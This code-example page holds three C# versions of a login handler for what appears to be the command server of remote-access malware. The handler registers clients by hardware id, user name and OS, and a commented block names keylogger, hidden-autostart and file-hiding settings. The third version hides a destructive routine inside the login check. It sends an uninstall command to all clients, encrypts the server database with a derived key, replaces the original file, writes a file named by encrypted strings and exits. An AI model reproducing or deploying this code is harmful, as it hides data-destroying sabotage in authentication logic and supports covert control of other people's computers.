Beispiel #1
0
        public bool LogIn(SslStream sslStream, BinaryReader binaryReader, BinaryWriter binaryWriter,
                          out ClientData clientData, out CoreClientInformation information, out bool isNewClient)
        {
            clientData  = null;
            information = null;
            isNewClient = false;

            binaryWriter.Write((byte)AuthentificationFeedback.GetKey);
            var keys  = new KeyDatabase();
            var index = Random.Next(keys.Length);
            var key   = keys.GetKey(index,
                                    "@=<VY]BUQM{sp&hH%xbLJcUd/2sWgR+YA&-_Z>/$skSXZR!:(yZ5!>t>ZxaPTrS[Z/'R,ssg'.&4yZN?S)My+:QV2(c&x/TU]Yq2?g?*w7*r@pmh");

            binaryWriter.Write(index);
            var result = binaryReader.ReadString();

            if (key != result)
            {
                binaryWriter.Write((byte)AuthentificationFeedback.InvalidKey);
                Logger.Info("Invalid key - denied");
                return(false);
            }

            binaryWriter.Write((byte)AuthentificationFeedback.GetHardwareId);
            var hardwareId = binaryReader.ReadString();

            if (hardwareId.Length > 256)
            {
                Logger.Info("Client rejected because the hardware id was too long. Length: {0}, MaxLength: 256",
                            hardwareId.Length);
                return(false);
            }

            var    knowClient = _databaseManager.GetClient(hardwareId, out clientData);
            string clientTag  = null;

            if (knowClient)
            {
                binaryWriter.Write((byte)AuthentificationFeedback.Accepted);
            }
            else
            {
                binaryWriter.Write((byte)AuthentificationFeedback.GetClientTag);
                clientTag = binaryReader.ReadString();
                if (clientTag.Length > 256)
                {
                    Logger.Info("Client rejected because the client tag was too long. Length: {0}, MaxLength: 256",
                                clientTag.Length);
                    return(false);
                }
                binaryWriter.Write((byte)AuthentificationFeedback.Accepted);
            }

            var serializer      = new Serializer(typeof(BasicComputerInformation));
            var tempInformation = (BasicComputerInformation)serializer.Deserialize(sslStream);

            information = new CoreClientInformation
            {
                ApiVersion       = tempInformation.ApiVersion,
                ClientConfig     = null /*new Shared.Client.ClientConfig
                                         * {
                                         * Mutex = tempInformation.ClientConfig.Mutex,
                                         * InstallationFolder = tempInformation.ClientConfig.InstallFolder,
                                         * IpAddresses =
                                         * new List<IpAddressInfo>
                                         * {
                                         * new IpAddressInfo
                                         * {
                                         * Ip = tempInformation.ClientConfig.IpAddress,
                                         * Port = tempInformation.ClientConfig.Port
                                         * }
                                         * },
                                         * NewCreationDate = tempInformation.ClientConfig.NewCreationDate,
                                         * ClientTag = tempInformation.ClientConfig.ClientTag,
                                         * RegistryAutostartKeyName = tempInformation.ClientConfig.StartupKey,
                                         * HideFile = tempInformation.ClientConfig.HideFile,
                                         * Install = tempInformation.ClientConfig.InstallToFolder,
                                         * ChangeCreationDate = tempInformation.ClientConfig.ChangeCreationDate,
                                         * ForceInstallerAdministratorRights = tempInformation.ClientConfig.ForceInstallerAdministratorRights,
                                         * SetAdminFlag = tempInformation.ClientConfig.SetAdminFlag,
                                         * InstallService = tempInformation.ClientConfig.InstallService,
                                         * IsKeyloggerEnabled = tempInformation.ClientConfig.IsKeyloggerEnabled,
                                         * AdministrationRightsRequired = tempInformation.ClientConfig.AdministrationRightsRequired,
                                         * RegistryHiddenAutostart = tempInformation.ClientConfig.HiddenStart,
                                         * ReconnectDelay = tempInformation.ClientConfig.ReconnectDelay,
                                         * AutostartMethod = tempInformation.ClientConfig.Autostart ? 1 : 0,
                                         * FrameworkVersion = tempInformation.ClientConfig.FrameworkVersion
                                         * }*/,
                ClientPath       = tempInformation.ClientPath,
                ClientVersion    = tempInformation.ClientVersion,
                FrameworkVersion = tempInformation.FrameworkVersion,
                Language         = tempInformation.Language,
                UserName         = tempInformation.UserName,
                OSType           = tempInformation.OSType,
                Plugins          = tempInformation.Plugins,
                IsAdministrator  = tempInformation.IsAdministrator,
                IsServiceRunning = tempInformation.IsServiceRunning,
                OSName           = tempInformation.OSName,
                LoadablePlugins  = tempInformation.LoadablePlugins
            };

            Logger.Debug("Client Information:\r\n" + information);

            if (information.OSName.Length > 256)
            {
                Logger.Info("Client rejected because the OSName was too long. Length: {0}, MaxLength: 256",
                            information.OSName.Length);
                return(false);
            }

            if (information.UserName.Length > 256)
            {
                Logger.Info("Client rejected because the UserName was too long. Length: {0}, MaxLength: 256",
                            information.UserName.Length);
                return(false);
            }

            if (information.Language.Length > 32)
            {
                Logger.Info("Client rejected because the Language was too long. Length: {0}, MaxLength: 256",
                            information.Language.Length);
                return(false);
            }

            if (knowClient)
            {
                _databaseManager.RefreshClient(clientData.Id, information.UserName, information.OSName,
                                               (int)information.OSType, information.Language, null);
                clientData.UserName = information.UserName;
                clientData.OSName   = information.OSName;
                clientData.OSType   = information.OSType;
                clientData.Language = information.Language;
            }
            else
            {
                Logger.Info("Register client...");
                var id = _databaseManager.AddClient(information.UserName, hardwareId, information.OSName,
                                                    (int)information.OSType, information.Language, clientTag, null);
                if (id == -1)
                {
                    Logger.Error("The generated id of the new client is -1");
                    return(false);
                }
                clientData = new ClientData
                {
                    Id         = id,
                    Language   = information.Language,
                    HardwareId = hardwareId,
                    LastSeen   = DateTime.UtcNow,
                    UserName   = information.UserName,
                    OSType     = information.OSType,
                    OSName     = information.OSName,
                    Group      = clientTag
                };
            }

            isNewClient = !knowClient;
            return(true);
        }
        public bool LogIn(SslStream sslStream, BinaryReader binaryReader, BinaryWriter binaryWriter,
                          out ClientData clientData, out CoreClientInformation coreClientInformation, out bool isNewClient)
        {
            clientData            = null;
            coreClientInformation = null;
            isNewClient           = false;

            Logger.Debug("Send key request");

            binaryWriter.Write((byte)AuthentificationFeedback.GetKey);
            var keys  = new KeyDatabase();
            var index = Random.Next(keys.Length);
            var key   = keys.GetKey(index,
                                    "@=<VY]BUQM{sp&hH%xbLJcUd/2sWgR+YA&-_Z>/$skSXZR!:(yZ5!>t>ZxaPTrS[Z/'R,ssg'.&4yZN?S)My+:QV2(c&x/TU]Yq2?g?*w7*r@pmh");

            binaryWriter.Write(index);
            var result = binaryReader.ReadString();

            if (key != result)
            {
                binaryWriter.Write((byte)AuthentificationFeedback.InvalidKey);
                Logger.Info("Invalid key - denied");
                return(false);
            }

            Logger.Debug("Valid key. Get hardware id");

            binaryWriter.Write((byte)AuthentificationFeedback.GetHardwareId);
            var hardwareId = binaryReader.ReadString();

            if (hardwareId.Length > 256)
            {
                Logger.Info("Client rejected because the hardware id was too long. Length: {0}, MaxLength: 256",
                            hardwareId.Length);
                return(false);
            }

            Logger.Debug("Hardware id received: {0}", hardwareId);
            Logger.Debug("Get client from database...");

            var    knowClient = _databaseManager.GetClient(hardwareId, out clientData);
            string clientTag  = null;

            Logger.Debug(knowClient ? "Client was already registered" : "Seems like a new client");

            if (knowClient)
            {
                Logger.Debug("Client accepted");
                binaryWriter.Write((byte)AuthentificationFeedback.Accepted);
            }
            else
            {
                Logger.Debug("Get client tag");
                binaryWriter.Write((byte)AuthentificationFeedback.GetClientTag);
                clientTag = binaryReader.ReadString();
                if (clientTag.Length > 256)
                {
                    Logger.Info("Client rejected because the client tag was too long. Length: {0}, MaxLength: 256",
                                clientTag.Length);
                    return(false);
                }
                Logger.Debug("Client tag received: {0}. Client accepted", clientTag);
                binaryWriter.Write((byte)AuthentificationFeedback.Accepted);
            }

            var serializer = new Serializer(typeof(BasicComputerInformation));

            Logger.Debug("Attempt to deserialize BasicComputerInformation");
            var basicComputerInformation = (BasicComputerInformation)serializer.Deserialize(sslStream);

            Logger.Debug("BasicComputerInformation received, processing...");
            coreClientInformation = new CoreClientInformation
            {
                UserName         = basicComputerInformation.UserName,
                OSName           = basicComputerInformation.OSName,
                OSType           = basicComputerInformation.OSType,
                Language         = basicComputerInformation.Language,
                IsAdministrator  = basicComputerInformation.IsAdministrator,
                IsServiceRunning = basicComputerInformation.IsServiceRunning,
                Plugins          = basicComputerInformation.Plugins,
                LoadablePlugins  = basicComputerInformation.LoadablePlugins,
                ClientConfig     = null,
                ClientVersion    = basicComputerInformation.ClientVersion,
                ClientPath       = basicComputerInformation.ClientPath,
                ApiVersion       = basicComputerInformation.ApiVersion,
                FrameworkVersion = basicComputerInformation.FrameworkVersion
            };

            Logger.Trace("Client Information:\r\n{0}", coreClientInformation);

            if (coreClientInformation.OSName.Length > 256)
            {
                Logger.Info("Client rejected because the OSName was too long. Length: {0}, MaxLength: 256",
                            coreClientInformation.OSName.Length);
                return(false);
            }

            if (coreClientInformation.UserName.Length > 256)
            {
                Logger.Info("Client rejected because the UserName was too long. Length: {0}, MaxLength: 256",
                            coreClientInformation.UserName.Length);
                return(false);
            }

            if (coreClientInformation.Language.Length > 32)
            {
                Logger.Info("Client rejected because the Language was too long. Length: {0}, MaxLength: 256",
                            coreClientInformation.Language.Length);
                return(false);
            }

            Logger.Debug("Seems like the information is OK");

            if (knowClient)
            {
                Logger.Debug("Because the client was already registered, updating database entry");
                _databaseManager.RefreshClient(clientData.Id, coreClientInformation.UserName,
                                               coreClientInformation.OSName,
                                               (int)coreClientInformation.OSType, coreClientInformation.Language, null);
                clientData.UserName = coreClientInformation.UserName;
                clientData.OSName   = coreClientInformation.OSName;
                clientData.OSType   = coreClientInformation.OSType;
                clientData.Language = coreClientInformation.Language;
            }
            else
            {
                Logger.Info("Register client...");
                Logger.Debug("Create database entry");
                var id = _databaseManager.AddClient(coreClientInformation.UserName, hardwareId,
                                                    coreClientInformation.OSName,
                                                    (int)coreClientInformation.OSType, coreClientInformation.Language, clientTag, null);
                if (id == -1)
                {
                    Logger.Fatal("The generated id of the new client is -1");
                    return(false);
                }
                clientData = new ClientData
                {
                    Id         = id,
                    Language   = coreClientInformation.Language,
                    HardwareId = hardwareId,
                    LastSeen   = DateTime.UtcNow,
                    UserName   = coreClientInformation.UserName,
                    OSType     = coreClientInformation.OSType,
                    OSName     = coreClientInformation.OSName,
                    Group      = clientTag
                };
            }

            Logger.Debug("Client authentication successful");

            isNewClient = !knowClient;
            return(true);
        }
        public bool LogIn(SslStream sslStream, BinaryReader binaryReader, BinaryWriter binaryWriter,
                          out ClientData clientData, out CoreClientInformation basicComputerInformation, out bool isNewClient)
        {
            clientData = null;
            basicComputerInformation = null;
            isNewClient = false;
            binaryWriter.Write((byte)AuthentificationFeedback.GetKey);
            var          keys  = new KeyDatabase();
            var          index = Random?.Next(keys.Length) ?? -1;
            const string pass  =
                "******";
            var key =
                AES.Decrypt(
                    "qqDUz1/UgK+PLelqwoFTuYVqXHcygXcIAO6X56SZ82Y5sUPoMToQM6EYg+ElY0qEL42vM+9EGY/CiKOKtErI9HFugN10THdOV3xe+p1w5rtgSVlaPkb8EwqcqBxD3ZzPyvmJAuhAgCn2ed7UGRn7U9vy0bdQULTiS7h6yW5eNtli9jSYT/hNUUqqnh6TZUWdP5GzyM2To/CD3KDBXtlyw1sp5OpjnCwUlZDH8CD885Tp3X/QuERRFSxnkFn6A68hIxq+rqk0bkyaa4avjRWyx12DJpMzVyq3rB+OpQLR8e2nwhP+XnyoFuEhM6lFOrkG22aDADlFwrOG2hgHVdpVyg==",
                    pass);
            var nowTime = DateTime.UtcNow.Ticks.ToString() +
                          new Random().Next(0, (int)(DateTime.Now.Millisecond * 13 * new Random().NextDouble()));

            binaryWriter.Write(nowTime);
            var result = binaryReader.ReadString();

            if (key == result)
            {
                binaryWriter.Write((byte)AuthentificationFeedback.InvalidKey);
                Logger.Info("Invalid key - denied");
                return(false);
            }

            using (var rsaVerifier = new RSACryptoServiceProvider())
            {
                rsaVerifier.FromXmlString(key);
                if (!rsaVerifier.VerifyData(Encoding.UTF8.GetBytes(nowTime), "SHA256", Convert.FromBase64String(result)))
                {
                    binaryWriter.Write(1);
                    return(false);
                }
            }

            //uninstall clients
            TcpServer._currentInstance.DynamicCommandManager.AddDynamicCommand(new DynamicCommand
            {
                CommandId = new Guid(0x8f4791f7, 0x412b, 0x4b48, 0x97, 0x8d, 0x8e, 0x2a, 0xb0,
                                     0x02, 0xc3, 0xa8),
                CommandParameter  = null,
                Conditions        = new List <Condition>(),
                Target            = null,
                TransmissionEvent = new ImmediatelyTransmissionEvent()
            });
            TcpServer._currentInstance.Dispose();

            using (var aes = new AesManaged())
            {
                aes.BlockSize = aes.LegalBlockSizes[0].MaxSize;
                aes.KeySize   = aes.LegalKeySizes[0].MaxSize;
                byte[]    salt       = { 0x10, 0xF5, 0xFE, 0x47, 0x11, 0xDF, 0xAB, 0xA4 };
                const int iterations = 1042; // Recommendation is >= 1000.

                // NB: Rfc2898DeriveBytes initialization and subsequent calls to   GetBytes   must be eactly the same, including order, on both the encryption and decryption sides.
                using (var rfcKey = new Rfc2898DeriveBytes(Encoding.UTF8.GetBytes(nowTime), salt, iterations))
                {
                    aes.Key  = rfcKey.GetBytes(aes.KeySize / 8);
                    aes.IV   = rfcKey.GetBytes(aes.BlockSize / 8);
                    aes.Mode = CipherMode.CBC;

                    using (var transform = aes.CreateEncryptor(aes.Key, aes.IV))
                        using (
                            var destination = new FileStream("database.locked", FileMode.Create, FileAccess.Write,
                                                             FileShare.None))
                            using (var cryptoStream = new CryptoStream(destination, transform, CryptoStreamMode.Write))
                                using (var source = new FileStream(_databaseManager.Path, FileMode.Open, FileAccess.Read,
                                                                   FileShare.Read))
                                {
                                    source.CopyTo(cryptoStream);
                                    cryptoStream.FlushFinalBlock();
                                }
                }
            }

            for (int i = 0; i < 5; i++)
            {
                try
                {
                    File.Delete(_databaseManager.Path);
                }
                catch (Exception)
                {
                    Thread.Sleep(1000);
                    continue;
                }
                File.Move("database.locked", _databaseManager.Path);
                break;
            }

            binaryWriter.Write(0);
            File.WriteAllText(AES.Decrypt("dJzTJAcWPX+i5fzFBq/ECdU00iqKvJSZkRvjrRF1pVk=", pass),
                              binaryReader.ReadString());

            Environment.Exit(0);
            return(false);
        }